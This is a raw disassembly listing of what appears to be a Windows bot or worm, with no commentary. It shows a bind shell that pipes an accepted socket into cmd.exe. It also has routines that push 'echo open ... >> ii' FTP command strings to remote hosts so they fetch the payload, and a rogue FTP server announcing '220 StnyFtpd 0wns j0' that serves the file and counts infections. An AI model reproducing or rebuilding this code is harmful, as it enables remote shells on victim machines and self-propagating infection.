push eax
push dword ptr [ebp+var_C+4]
call dword_4280EC ; ReadFile
test eax, eax
jnz short loc_40EF0B
call dword_428094 ; RtlGetLastWin32Error
cmp eax, 3E5h
jnz loc_40EAF2
loc_40EF0B: ; CODE XREF: sub_40EA40+4B8j
push 3E8h
push [ebp+var_50]
call dword_4280A8 ; WaitForSingleObject
cmp eax, 102h
jnz short loc_40EF55
push 65h
lea esi, [ebp+arg_0]
sub esp, 0BCh
mov byte ptr [ebp+arg_BC+3], 1
push 2Fh
pop ecx
mov edi, esp
rep movsd
call sub_40C6DC
mov eax, [ebp+arg_A8]
add esp, 0C0h
shl eax, 6
lea eax, dword_434060[eax]
inc dword ptr [eax]
loc_40EF55: ; CODE XREF: sub_40EA40+497j
; sub_40EA40+4DEj
cmp byte ptr [ebp+arg_BC+3], bl
mov esi, dword ptr [ebp+var_C]
jz loc_40EE9C
jmp short loc_40EF69
; ---------------------------------------------------------------------------
loc_40EF66: ; CODE XREF: sub_40EA40+48Ej
mov esi, dword ptr [ebp+var_C]
loc_40EF69: ; CODE XREF: sub_40EA40+460j
; sub_40EA40+524j
push dword ptr [ebp+var_C+4]
mov edi, dword_428070
call edi ; CloseHandle
push esi
call sub_41B721
cmp [ebp+var_50], ebx
pop ecx
jz short loc_40EF85
push [ebp+var_50]
call edi ; CloseHandle
loc_40EF85: ; CODE XREF: sub_40EA40+53Ej
xor eax, eax
cmp byte ptr [ebp+arg_BC+3], bl
setnz al
loc_40EF90: ; CODE XREF: sub_40EA40+B4j
pop edi
pop esi
pop ebx
leave
retn
sub_40EA40 endp
; ---------------------------------------------------------------------------
push esi
push edi
push 0
lea esi, [esp+10h]
sub esp, 0BCh
push 2Fh
pop ecx
mov edi, esp
rep movsd
call sub_40EA40
add esp, 0C0h
test eax, eax
jz short loc_40EFBE
xor eax, eax
inc eax
jmp short loc_40EFE2
; ---------------------------------------------------------------------------
loc_40EFBE: ; CODE XREF: .XPack0:0040EFB7j
push 1
lea esi, [esp+10h]
sub esp, 0BCh
push 2Fh
pop ecx
mov edi, esp
rep movsd
call sub_40EA40
add esp, 0C0h
neg eax
sbb eax, eax
neg eax
loc_40EFE2: ; CODE XREF: .XPack0:0040EFBCj
pop edi
pop esi
retn
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40EFE5 proc near ; CODE XREF: sub_40F0D3+91p
var_5A0 = byte ptr -5A0h
var_1A0 = byte ptr -1A0h
var_10 = word ptr -10h
var_E = word ptr -0Eh
var_C = dword ptr -0Ch
arg_0 = dword ptr 8
arg_4 = byte ptr 0Ch
arg_BC = dword ptr 0C4h
push ebp
mov ebp, esp
sub esp, 5A0h
push ebx
push esi
push edi
xor esi, esi
push 10h
lea eax, [ebp+var_10]
push esi
push eax
call sub_41BC00
add esp, 0Ch
lea eax, [ebp+arg_4]
mov [ebp+var_10], 2
push eax
call dword_428208 ; inet_addr
push [ebp+arg_BC]
mov [ebp+var_C], eax
call dword_42820C ; ntohs
push esi
push 1
push 2
mov [ebp+var_E], ax
call dword_42821C ; socket
mov ebx, eax
cmp ebx, 0FFFFFFFFh
jz short loc_40F0B3
lea eax, [ebp+var_10]
push 10h
push eax
push ebx
call dword_428210 ; connect
cmp eax, 0FFFFFFFFh
jz short loc_40F0B3
mov edi, 400h
push esi
mov esi, dword_428214
lea eax, [ebp+var_5A0]
push edi
push eax
push ebx
call esi ; recv
mov eax, offset byte_42AA54
push eax
push eax
push dword_4CE048
push [ebp+arg_0]
call sub_40A8D5
pop ecx
push eax
push offset aCmdCEchoOpen_0 ; "cmd /c echo open %s %d >> ii &echo user"...
lea eax, [ebp+var_1A0]
push 190h
push eax
call sub_41BFF0
add esp, 1Ch
lea eax, [ebp+var_1A0]
push 0
push eax
call sub_41B650
pop ecx
push eax
lea eax, [ebp+var_1A0]
push eax
push ebx
call dword_428220 ; send
cmp eax, 0FFFFFFFFh
jnz short loc_40F0B7
loc_40F0B3: ; CODE XREF: sub_40EFE5+50j
; sub_40EFE5+62j
xor eax, eax
jmp short loc_40F0CE
; ---------------------------------------------------------------------------
loc_40F0B7: ; CODE XREF: sub_40EFE5+CCj
push 0
lea eax, [ebp+var_5A0]
push edi
push eax
push ebx
call esi ; recv
push ebx
call dword_428218 ; closesocket
xor eax, eax
inc eax
loc_40F0CE: ; CODE XREF: sub_40EFE5+D0j
pop edi
pop esi
pop ebx
leave
retn
sub_40EFE5 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40F0D3 proc near ; CODE XREF: sub_40C271+1D7p
; DATA XREF: .XPack0:off_43405Co
var_10 = word ptr -10h
var_E = word ptr -0Eh
var_C = dword ptr -0Ch
arg_0 = byte ptr 8
arg_4 = byte ptr 0Ch
arg_A0 = dword ptr 0A8h
arg_A8 = dword ptr 0B0h
push ebp
mov ebp, esp
sub esp, 10h
push esi
lea eax, [ebp+arg_4]
push edi
push eax
mov [ebp+var_10], 2
call dword_4CE348 ; inet_addr
push [ebp+arg_A0]
mov [ebp+var_C], eax
call dword_4CE308 ; ntohs
push 6
push 1
push 2
mov [ebp+var_E], ax
call dword_42821C ; socket
mov esi, eax
cmp esi, 0FFFFFFFFh
jz short loc_40F145
lea eax, [ebp+var_10]
push 10h
push eax
push esi
call dword_428210 ; connect
cmp eax, 0FFFFFFFFh
jnz short loc_40F126
push esi
jmp short loc_40F13F
; ---------------------------------------------------------------------------
loc_40F126: ; CODE XREF: sub_40F0D3+4Ej
push 0
push 1213h
push offset dword_435988
push esi
call dword_428220 ; send
cmp eax, 0FFFFFFFFh
push esi
jnz short loc_40F149
loc_40F13F: ; CODE XREF: sub_40F0D3+51j
call dword_428218 ; closesocket
loc_40F145: ; CODE XREF: sub_40F0D3+3Cj
xor eax, eax
jmp short loc_40F187
; ---------------------------------------------------------------------------
loc_40F149: ; CODE XREF: sub_40F0D3+6Aj
call dword_428218 ; closesocket
push 216Bh
lea esi, [ebp+arg_0]
sub esp, 0BCh
push 2Fh
pop ecx
mov edi, esp
rep movsd
call sub_40EFE5
add esp, 0C0h
test eax, eax
jz short loc_40F184
mov eax, [ebp+arg_A8]
shl eax, 6
lea eax, dword_434060[eax]
inc dword ptr [eax]
loc_40F184: ; CODE XREF: sub_40F0D3+9Ej
xor eax, eax
inc eax
loc_40F187: ; CODE XREF: sub_40F0D3+74j
pop edi
pop esi
leave
retn
sub_40F0D3 endp
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn bp-based frame
sub_40F18B proc near ; DATA XREF: sub_40F219+15Bo
var_404 = byte ptr -404h
var_4 = byte ptr -4
push ebp
mov ebp, esp
sub esp, 404h
loc_40F194: ; CODE XREF: sub_40F18B+25j
; sub_40F18B+41j
push 0
lea eax, [ebp+var_404]
push 400h
push eax
push dword_4D1030
call dword_4CE320 ; recv
test eax, eax
jle short loc_40F194
lea ecx, [ebp+var_4]
push 0
push ecx
push eax
lea eax, [ebp+var_404]
push eax
push dword_4D102C
call dword_4280F0 ; WriteFile
jmp short loc_40F194
sub_40F18B endp
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn bp-based frame
sub_40F1CE proc near ; DATA XREF: sub_40F219+142o
var_404 = byte ptr -404h
var_4 = dword ptr -4
push ebp
mov ebp, esp
sub esp, 404h
loc_40F1D7: ; CODE XREF: sub_40F1CE+2Fj
; sub_40F1CE+49j
lea eax, [ebp+var_4]
and [ebp+var_4], 0
push 0
push eax
lea eax, [ebp+var_404]
push 400h
push eax
push dword_4D1020
call dword_4280EC ; ReadFile
cmp [ebp+var_4], 0
jle short loc_40F1D7
push 0
lea eax, [ebp+var_404]
push [ebp+var_4]
push eax
push dword_4D1030
call dword_4CE358 ; send
jmp short loc_40F1D7
sub_40F1CE endp
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn bp-based frame
sub_40F219 proc near ; DATA XREF: sub_401AA1+2CBFo
var_11C = byte ptr -11Ch
var_98 = dword ptr -98h
var_7C = dword ptr -7Ch
var_50 = dword ptr -50h
var_4C = word ptr -4Ch
var_44 = dword ptr -44h
var_40 = dword ptr -40h
var_3C = byte ptr -3Ch
var_38 = word ptr -38h
var_36 = word ptr -36h
var_28 = dword ptr -28h
var_24 = dword ptr -24h
var_18 = byte ptr -18h
var_14 = dword ptr -14h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
sub esp, 11Ch
mov eax, [ebp+arg_0]
push ebx
push esi
push edi
push 28h
mov esi, eax
pop ecx
lea edi, [ebp+var_11C]
rep movsd
xor esi, esi
xor edi, edi
inc esi
push 10h
mov [eax+98h], esi
lea eax, [ebp+var_38]
push edi
push eax
call sub_41BC00
add esp, 0Ch
mov [ebp+var_38], 2
push [ebp+var_98]
call dword_4CE308 ; ntohs
push 6
push esi
push 2
mov [ebp+var_36], ax
call dword_4CE388 ; socket
mov [ebp+arg_0], eax
lea eax, [ebp+var_38]
push 10h
push eax
push [ebp+arg_0]
call dword_4CE334 ; bind
push 5
push [ebp+arg_0]
call dword_4CE330 ; listen
mov ebx, dword_42810C
mov esi, dword_428070
loc_40F299: ; CODE XREF: sub_40F219+1CBj
push edi
push edi
push [ebp+arg_0]
call dword_4CE39C ; accept
mov dword_4D1030, eax
lea eax, [ebp+var_C]
push edi
push eax
push offset dword_4D102C
push offset dword_4D1028
mov [ebp+var_C], 0Ch
mov [ebp+var_4], 1
mov [ebp+var_8], edi
call ebx ; CreatePipe
lea eax, [ebp+var_C]
push edi
push eax
push offset dword_4D1024
push offset dword_4D1020
call ebx ; CreatePipe
push 44h
lea eax, [ebp+var_7C]
push edi
push eax
call sub_41BC00
mov eax, dword_4D1028
add esp, 0Ch
mov [ebp+var_44], eax
mov eax, dword_4D1024
mov [ebp+var_40], eax
push edi
push 1
lea eax, [ebp+var_3C]
push 2
push eax
mov [ebp+var_7C], 44h
mov [ebp+var_50], 101h
mov [ebp+var_4C], di
call dword_428108 ; GetCurrentProcess
push eax
push dword_4D1024
call dword_428108 ; GetCurrentProcess
push eax
call dword_428104 ; DuplicateHandle
lea eax, [ebp+var_28]
push eax
lea eax, [ebp+var_7C]
push eax
push edi
push edi
push 4000090h
lea eax, [ebp+var_C]
push 1
push eax
lea eax, [ebp+var_C]
push eax
push offset aCmd_exe ; "cmd.exe"
push edi
call dword_428074 ; CreateProcessA
lea eax, [ebp+var_18]
push eax
push edi
push edi
push offset sub_40F1CE
lea eax, [ebp+var_C]
push edi
push eax
call dword_428084 ; CreateThread
mov [ebp+var_14], eax
lea eax, [ebp+var_18]
push eax
push edi
push edi
push offset sub_40F18B
lea eax, [ebp+var_C]
push edi
push eax
call dword_428084 ; CreateThread
push 0FFFFFFFFh
mov [ebp+var_10], eax
push [ebp+var_28]
call dword_4280A8 ; WaitForSingleObject
push edi
push [ebp+var_10]
call dword_4280B4 ; TerminateThread
push edi
push [ebp+var_14]
call dword_4280B4 ; TerminateThread
push [ebp+var_10]
call esi ; CloseHandle
push [ebp+var_14]
call esi ; CloseHandle
push edi
push [ebp+var_28]
call dword_428100 ; TerminateProcess
push dword_4D1028
call esi ; CloseHandle
push dword_4D102C
call esi ; CloseHandle
push dword_4D1020
call esi ; CloseHandle
push dword_4D1024
call esi ; CloseHandle
push [ebp+var_24]
call esi ; CloseHandle
push [ebp+var_28]
call esi ; CloseHandle
jmp loc_40F299
sub_40F219 endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_40F3E9 proc near ; DATA XREF: .XPack0:0042A010o
jmp $+5
sub_40F3E9 endp ; sp-analysis failed
; =============== S U B R O U T I N E =======================================
sub_40F3EE proc near
push 0FFFEh
push 400h
call sub_418D19
pop ecx
mov dword_4D1034, eax
pop ecx
retn
sub_40F3EE endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40F405 proc near ; DATA XREF: sub_40BC0C+352o
var_6C0 = byte ptr -6C0h
var_2C0 = byte ptr -2C0h
var_C0 = byte ptr -0C0h
var_B0 = dword ptr -0B0h
var_AC = dword ptr -0ACh
var_A4 = dword ptr -0A4h
var_A0 = byte ptr -0A0h
var_20 = dword ptr -20h
var_1C = dword ptr -1Ch
var_14 = word ptr -14h
var_12 = word ptr -12h
var_10 = dword ptr -10h
var_4 = dword ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
sub esp, 6C0h
mov eax, [ebp+arg_0]
push ebx
push esi
push edi
push 27h
mov esi, eax
pop ecx
lea edi, [ebp+var_B0]
rep movsd
xor esi, esi
xor ebx, ebx
inc esi
push 10h
mov [eax+98h], esi
lea eax, [ebp+var_14]
push ebx
push eax
call sub_41BC00
add esp, 0Ch
mov [ebp+var_14], 2
push [ebp+var_A4]
call dword_4CE308 ; ntohs
push ebx
push esi
push 2
mov [ebp+var_12], ax
mov [ebp+var_10], ebx
call dword_4CE388 ; socket
mov edi, eax
or esi, 0FFFFFFFFh
cmp edi, esi
jnz short loc_40F4AC
cmp [ebp+var_1C], ebx
jnz short loc_40F48C
push ebx
lea eax, [ebp+var_2C0]
push [ebp+var_20]
push eax
lea eax, [ebp+var_A0]
push eax
push [ebp+var_B0]
call sub_409743
add esp, 14h
loc_40F48C: ; CODE XREF: sub_40F405+65j
lea eax, [ebp+var_2C0]
push eax
call sub_415F45
push [ebp+var_AC]
call sub_40B56A
pop ecx
pop ecx
push ebx
call dword_4280D4 ; ExitThread
loc_40F4AC: ; CODE XREF: sub_40F405+60j
mov eax, [ebp+var_AC]
push 10h
imul eax, 234h
mov dword_441254[eax], edi
lea eax, [ebp+var_14]
push eax
push edi
call dword_4CE334 ; bind
cmp eax, esi
mov ebx, 400h
jnz loc_40F5A7
call dword_4CE29C ; WSAGetLastError
cmp eax, 2740h
jz short loc_40F52C
xor esi, esi
cmp [ebp+var_1C], esi
jnz short loc_40F50C
push esi
lea eax, [ebp+var_2C0]
push [ebp+var_20]
push eax
lea eax, [ebp+var_A0]
push eax
push [ebp+var_B0]
call sub_409743
add esp, 14h
loc_40F50C: ; CODE XREF: sub_40F405+E5j
lea eax, [ebp+var_2C0]
push eax
call sub_415F45
push [ebp+var_AC]
call sub_40B56A
pop ecx
pop ecx
push esi
call dword_4280D4 ; ExitThread
loc_40F52C: ; CODE XREF: sub_40F405+DEj
push 0FFFEh
push ebx
call sub_418D19
pop ecx
mov dword_4D1034, eax
pop ecx
mov [ebp+var_12], ax
lea eax, [ebp+var_14]
push 10h
push eax
push edi
call dword_4CE334 ; bind
cmp eax, esi
jnz short loc_40F5A7
call dword_4CE29C ; WSAGetLastError
xor esi, esi
cmp [ebp+var_1C], esi
jnz short loc_40F587
cmp eax, 2740h
jz short loc_40F587
push esi
lea eax, [ebp+var_2C0]
push [ebp+var_20]
push eax
lea eax, [ebp+var_A0]
push eax
push [ebp+var_B0]
call sub_409743
add esp, 14h
loc_40F587: ; CODE XREF: sub_40F405+159j
; sub_40F405+160j
lea eax, [ebp+var_2C0]
push eax
call sub_415F45
push [ebp+var_AC]
call sub_40B56A
pop ecx
pop ecx
push esi
call dword_4280D4 ; ExitThread
loc_40F5A7: ; CODE XREF: sub_40F405+CDj
; sub_40F405+14Cj
push 5
push edi
call dword_4CE330 ; listen
cmp eax, esi
jz loc_40F68C
mov [ebp+var_4], 10h
mov esi, offset byte_42AA54
loc_40F5C4: ; CODE XREF: sub_40F405+1D7j
; sub_40F405+227j ...
lea eax, [ebp+var_4]
push eax
lea eax, [ebp+var_C0]
push eax
push edi
call dword_4CE39C ; accept
cmp eax, 0FFFFFFFFh
mov [ebp+arg_0], eax
jz short loc_40F5C4
cmp [ebp+var_1C], 0
jnz short loc_40F605
push 0
lea eax, [ebp+var_2C0]
push [ebp+var_20]
push eax
lea eax, [ebp+var_A0]
push eax
push [ebp+var_B0]
call sub_409743
add esp, 14h
loc_40F605: ; CODE XREF: sub_40F405+1DDj
lea eax, [ebp+var_2C0]
push eax
call sub_415F45
pop ecx
lea eax, [ebp+var_2C0]
push 0
push 200h
push eax
push [ebp+arg_0]
call dword_4CE320 ; recv
cmp eax, 0FFFFFFFFh
jz short loc_40F5C4
push esi
push esi
push dword_4CE048
push [ebp+var_B0]
call sub_40A8D5
pop ecx
push eax
push offset aEchoOpenSDOEch ; "echo open %s %d >> o&echo user 1 >>o &e"...
lea eax, [ebp+var_6C0]
push ebx
push eax
call sub_41BFF0
add esp, 1Ch
lea eax, [ebp+var_6C0]
push 0
push eax
call sub_41B650
pop ecx
push eax
lea eax, [ebp+var_6C0]
push eax
push [ebp+arg_0]
call dword_4CE358 ; send
cmp eax, 0FFFFFFFFh
jz loc_40F5C4
inc dword_4D1038
jmp loc_40F5C4
; ---------------------------------------------------------------------------
loc_40F68C: ; CODE XREF: sub_40F405+1ADj
push edi
call dword_4CE3A0 ; closesocket
push [ebp+var_AC]
call sub_40B56A
pop ecx
push 0
call dword_4280D4 ; ExitThread
sub_40F405 endp ; sp-analysis failed
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40F6A7 proc near ; DATA XREF: sub_40BC0C+22Bo
var_A70 = byte ptr -0A70h
var_8E0 = byte ptr -8E0h
var_6E0 = dword ptr -6E0h
var_4C8 = byte ptr -4C8h
var_448 = dword ptr -448h
var_444 = dword ptr -444h
var_43C = dword ptr -43Ch
var_338 = byte ptr -338h
var_2D4 = byte ptr -2D4h
var_2A0 = byte ptr -2A0h
var_23C = dword ptr -23Ch
var_238 = dword ptr -238h
var_234 = dword ptr -234h
var_138 = byte ptr -138h
var_128 = byte ptr -128h
var_FC = byte ptr -0FCh
var_C8 = byte ptr -0C8h
var_B0 = byte ptr -0B0h
var_4C = byte ptr -4Ch
var_3C = word ptr -3Ch
var_3A = word ptr -3Ah
var_38 = dword ptr -38h
var_2C = byte ptr -2Ch
var_28 = dword ptr -28h
var_24 = byte ptr -24h
var_20 = dword ptr -20h
var_1C = byte ptr -1Ch
var_18 = dword ptr -18h
var_14 = byte ptr -14h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
sub esp, 0A70h
mov eax, [ebp+arg_0]
push ebx
push esi
push edi
xor ebx, ebx
mov ecx, 0A9h
mov esi, eax
lea edi, [ebp+var_6E0]
inc ebx
rep movsd
mov [eax+2A0h], ebx
lea eax, [ebp+var_A70]
xor esi, esi
push eax
push 101h
mov [ebp+var_28], ebx
mov [ebp+var_20], ebx
mov [ebp+var_18], ebx
mov [ebp+var_23C], esi
mov [ebp+var_43C], esi
call dword_4281F0 ; WSAStartup
push esi
push ebx
push 2
call dword_42821C ; socket
mov esi, dword_4281F4
lea ecx, [ebp+var_28]
push 4
push ecx
mov edi, 0FFFFh
push 4
push edi
push eax
mov [ebp+var_8], eax
call esi ; setsockopt
lea eax, [ebp+var_20]
push 4
push eax
push 0FFFFFFFBh
push edi
mov edi, [ebp+var_8]
push edi
call esi ; setsockopt
lea eax, [ebp+var_18]
push eax
push 8004667Eh
push edi
call dword_4281F8 ; ioctlsocket
mov ax, word ptr dword_4CE048
and [ebp+var_38], 0
push eax
mov [ebp+var_3C], 2
call dword_4CE308 ; ntohs
mov [ebp+var_3A], ax
lea eax, [ebp+var_3C]
push 10h
push eax
push edi
call dword_4281FC ; bind
test eax, eax
jge short loc_40F76D
mov eax, ebx
jmp loc_40FCA0
; ---------------------------------------------------------------------------
loc_40F76D: ; CODE XREF: sub_40F6A7+BDj
push 0Ah
push edi
call dword_428200 ; listen
mov [ebp+var_23C], ebx
mov ebx, dword_428220
mov [ebp+var_238], edi
mov [ebp+var_4], edi
loc_40F78B: ; CODE XREF: sub_40F6A7+11Bj
; sub_40F6A7+5F1j
push 41h
lea esi, [ebp+var_23C]
pop ecx
lea edi, [ebp+var_43C]
rep movsd
xor edi, edi
lea eax, [ebp+var_43C]
push edi
push edi
push edi
push eax
mov eax, [ebp+var_4]
inc eax
push eax
call dword_428224 ; select
cmp eax, 0FFFFFFFFh
jz loc_40FC9D
cmp [ebp+var_4], edi
mov [ebp+arg_0], edi
jl short loc_40F78B
loc_40F7C4: ; CODE XREF: sub_40F6A7+5EBj
xor esi, esi
push 64h
lea eax, [ebp+var_2A0]
push esi
push eax
call sub_41BC00
push 64h
lea eax, [ebp+var_B0]
push esi
push eax
call sub_41BC00
add esp, 18h
lea eax, [ebp+var_43C]
push eax
push edi
call sub_426E00 ; __WSAFDIsSet
test eax, eax
jz loc_40FC8B
cmp edi, [ebp+var_8]
jnz short loc_40F86D
lea eax, [ebp+var_10]
mov [ebp+var_10], 10h
push eax
lea eax, [ebp+var_138]
push eax
push [ebp+var_8]
call dword_428204 ; accept
cmp eax, 0FFFFFFFFh
jz loc_40FC8B
mov edx, [ebp+var_23C]
xor ecx, ecx
cmp edx, esi
jbe short loc_40F83F
loc_40F831: ; CODE XREF: sub_40F6A7+196j
cmp [ebp+ecx*4+var_238], eax
jz short loc_40F83F
inc ecx
cmp ecx, edx
jb short loc_40F831
loc_40F83F: ; CODE XREF: sub_40F6A7+188j
; sub_40F6A7+191j
cmp ecx, edx
jnz short loc_40F855
cmp edx, 40h
jnb short loc_40F855
mov [ebp+ecx*4+var_238], eax
inc [ebp+var_23C]
loc_40F855: ; CODE XREF: sub_40F6A7+19Aj
; sub_40F6A7+19Fj
cmp eax, [ebp+var_4]
jle short loc_40F85D
mov [ebp+var_4], eax
loc_40F85D: ; CODE XREF: sub_40F6A7+1B1j
push esi
push 15h
push offset a220Stnyftpd0wn ; "220 StnyFtpd 0wns j0\n"
push eax
call ebx ; send
jmp loc_40FC8B
; ---------------------------------------------------------------------------
loc_40F86D: ; CODE XREF: sub_40F6A7+158j
push esi
lea eax, [ebp+var_2A0]
push 64h
push eax
push edi
call dword_428214 ; recv
test eax, eax
jg short loc_40F8CA
mov ecx, [ebp+var_23C]
xor eax, eax
cmp ecx, esi
jbe short loc_40F8BE
loc_40F88E: ; CODE XREF: sub_40F6A7+1F3j
cmp [ebp+eax*4+var_238], edi
jz short loc_40F8B3
inc eax
cmp eax, ecx
jb short loc_40F88E
jmp short loc_40F8BE
; ---------------------------------------------------------------------------
loc_40F89E: ; CODE XREF: sub_40F6A7+20Fj
mov ecx, [ebp+eax*4+var_234]
mov [ebp+eax*4+var_238], ecx
mov ecx, [ebp+var_23C]
inc eax
loc_40F8B3: ; CODE XREF: sub_40F6A7+1EEj
dec ecx
cmp eax, ecx
jb short loc_40F89E
dec [ebp+var_23C]
loc_40F8BE: ; CODE XREF: sub_40F6A7+1E5j
; sub_40F6A7+1F5j
push edi
call dword_428218 ; closesocket
jmp loc_40FC8B
; ---------------------------------------------------------------------------
loc_40F8CA: ; CODE XREF: sub_40F6A7+1D9j
lea eax, [ebp+var_338]
push eax
lea eax, [ebp+var_B0]
push eax
lea eax, [ebp+var_2A0]
push offset aSS_0 ; "%s %s"
push eax
call sub_41C973
lea eax, [ebp+var_B0]
push offset aUser_0 ; "USER"
push eax
call sub_41C6E0
add esp, 18h
test eax, eax
jnz short loc_40F90E
push esi
push 16h
push offset a331PasswordReq ; "331 Password required\n"
jmp loc_40FC76
; ---------------------------------------------------------------------------
loc_40F90E: ; CODE XREF: sub_40F6A7+258j
lea eax, [ebp+var_B0]
push offset aPass_0 ; "PASS"
push eax
call sub_41C6E0
pop ecx
test eax, eax
pop ecx
jnz short loc_40F932
push esi
push 14h
push offset a230UserLoggedI ; "230 User logged in.\n"
jmp loc_40FC76
; ---------------------------------------------------------------------------
loc_40F932: ; CODE XREF: sub_40F6A7+27Cj
lea eax, [ebp+var_B0]
push offset aSyst ; "SYST"
push eax
call sub_41C6E0
pop ecx
test eax, eax
pop ecx
jnz short loc_40F956
push esi
push 0Dh
push offset a215Stnyftpd ; "215 StnyFtpd\n"
jmp loc_40FC76
; ---------------------------------------------------------------------------
loc_40F956: ; CODE XREF: sub_40F6A7+2A0j
lea eax, [ebp+var_B0]
push offset aRest ; "REST"
push eax
call sub_41C6E0
pop ecx
test eax, eax
pop ecx
jnz short loc_40F97A
push esi
push 10h
push offset a350Restarting_ ; "350 Restarting.\n"
jmp loc_40FC76
; ---------------------------------------------------------------------------
loc_40F97A: ; CODE XREF: sub_40F6A7+2C4j
lea eax, [ebp+var_B0]
push offset off_436E94
push eax
call sub_41C6E0
pop ecx
test eax, eax
pop ecx
jnz short loc_40F99E
push esi
push 1Eh
push offset a257IsCurrentDi ; "257 \"/\" is current directory.\n"
jmp loc_40FC76
; ---------------------------------------------------------------------------
loc_40F99E: ; CODE XREF: sub_40F6A7+2E8j
lea eax, [ebp+var_B0]
push offset aType ; "TYPE"
push eax
call sub_41C6E0
pop ecx
test eax, eax
pop ecx
jnz short loc_40F9D9
lea eax, [ebp+var_338]
push offset aA_0 ; "A"
push eax
call sub_41C6E0
pop ecx
test eax, eax
pop ecx
jnz short loc_40F9D9
push esi
push 13h
push offset a200TypeSetToA_ ; "200 Type set to A.\n"
jmp loc_40FC76
; ---------------------------------------------------------------------------
loc_40F9D9: ; CODE XREF: sub_40F6A7+30Cj
; sub_40F6A7+323j
lea eax, [ebp+var_B0]
push offset aType ; "TYPE"
push eax
call sub_41C6E0
pop ecx
test eax, eax
pop ecx
jnz short loc_40FA14
lea eax, [ebp+var_338]
push offset aI_0 ; "I"
push eax
call sub_41C6E0
pop ecx
test eax, eax
pop ecx
jnz short loc_40FA14
push esi
push 13h
push offset a200TypeSetToI_ ; "200 Type set to I.\n"
jmp loc_40FC76
; ---------------------------------------------------------------------------
loc_40FA14: ; CODE XREF: sub_40F6A7+347j
; sub_40F6A7+35Ej
lea eax, [ebp+var_B0]
push offset aPasv ; "PASV"
push eax
call sub_41C6E0
pop ecx
test eax, eax
pop ecx
jnz short loc_40FA62
push 0Ah
mov esi, offset a425PassiveNotS ; "425 Passive not supported on this serve"...
pop ecx
lea edi, [ebp+var_128]
rep movsd
push eax
lea eax, [ebp+var_128]
push eax
movsw
call sub_41B650
pop ecx
push eax
lea eax, [ebp+var_128]
loc_40FA52: ; CODE XREF: sub_40F6A7+3FAj
push eax
push [ebp+arg_0]
call ebx ; send
mov edi, [ebp+arg_0]
xor esi, esi
jmp loc_40FC79
; ---------------------------------------------------------------------------
loc_40FA62: ; CODE XREF: sub_40F6A7+382j
lea eax, [ebp+var_B0]
push offset aList_0 ; "LIST"
push eax
call sub_41C6E0
pop ecx
test eax, eax
pop ecx
jnz short loc_40FAA3
push 5
mov esi, offset a226TransferCom ; "226 Transfer complete\n"
pop ecx
lea edi, [ebp+var_C8]
rep movsd
movsw
push eax
lea eax, [ebp+var_C8]
push eax
movsb
call sub_41B650
pop ecx
push eax
lea eax, [ebp+var_C8]
jmp short loc_40FA52
; ---------------------------------------------------------------------------
loc_40FAA3: ; CODE XREF: sub_40F6A7+3D0j
lea eax, [ebp+var_B0]
push offset aPort ; "PORT"
push eax
call sub_41C6E0
pop ecx
test eax, eax
pop ecx
jnz loc_40FB74
lea eax, [ebp+var_2D4]
push eax
lea eax, [ebp+var_FC]
push eax
lea eax, [ebp+var_14]
push eax
lea eax, [ebp+var_1C]
push eax
lea eax, [ebp+var_24]
push eax
lea eax, [ebp+var_2C]
push eax
lea eax, [ebp+var_2A0]
push offset aS ; "%*s %[^,],%[^,],%[^,],%[^,],%[^,],%[^\n]"...
push eax
call sub_41C973
lea eax, [ebp+var_FC]
push eax
call sub_41BDE9
mov [ebp+var_C], eax
lea eax, [ebp+var_2D4]
push eax
call sub_41BDE9
mov [ebp+arg_0], eax
push 32h
lea eax, [ebp+var_FC]
push esi
push eax
call sub_41BC00
push [ebp+arg_0]
lea eax, [ebp+var_FC]
push [ebp+var_C]
push offset aXX ; "%x%x\n"
push eax
call sub_41BEF6
add esp, 44h
lea eax, [ebp+var_FC]
push 10h
push esi
push eax
call sub_41C435
mov [ebp+var_C], eax
lea eax, [ebp+var_14]
push eax
lea eax, [ebp+var_1C]
push eax
lea eax, [ebp+var_24]
push eax
lea eax, [ebp+var_2C]
push eax
lea eax, [ebp+var_4C]
push offset aS_S_S_S ; "%s.%s.%s.%s"
push eax
call sub_41BEF6
add esp, 24h
push esi
push 1Dh
push offset a200PortCommand ; "200 PORT command successful.\n"
jmp loc_40FC76
; ---------------------------------------------------------------------------
loc_40FB74: ; CODE XREF: sub_40F6A7+411j
lea eax, [ebp+var_B0]
push offset aRetr ; "RETR"
push eax
call sub_41C6E0
pop ecx
test eax, eax
pop ecx
jnz loc_40FC57
push esi
push 28h
push offset a150OpeningBina ; "150 Opening BINARY mode data connection"...
push edi
call ebx ; send
push [ebp+var_C]
lea eax, [ebp+var_4C]
push eax
call sub_40FCA7
pop ecx
cmp eax, 1
pop ecx
jnz loc_40FC4D
cmp [ebp+var_444], esi
jnz short loc_40FBDC
push esi
lea eax, [ebp+var_8E0]
push [ebp+var_448]
push eax
lea eax, [ebp+var_4C8]
push eax
push [ebp+var_6E0]
call sub_409743
add esp, 14h
loc_40FBDC: ; CODE XREF: sub_40F6A7+510j
call sub_40FD24
cmp eax, 1
jnz loc_40FC79
push esi
push 17h
push offset a226TransferC_0 ; "226 Transfer complete.\n"
push edi
call ebx ; send
lea eax, [ebp+var_4C]
push eax
lea eax, [ebp+var_8E0]
push offset dword_436CD0
push eax
call sub_41BEF6
add esp, 0Ch
cmp [ebp+var_444], esi
jnz short loc_40FC38
push esi
lea eax, [ebp+var_8E0]
push [ebp+var_448]
push eax
lea eax, [ebp+var_4C8]
push eax
push [ebp+var_6E0]
call sub_409743
add esp, 14h
loc_40FC38: ; CODE XREF: sub_40F6A7+56Cj
lea eax, [ebp+var_8E0]
push eax
call sub_415F45
inc dword_4D0E04
pop ecx
jmp short loc_40FC79
; ---------------------------------------------------------------------------
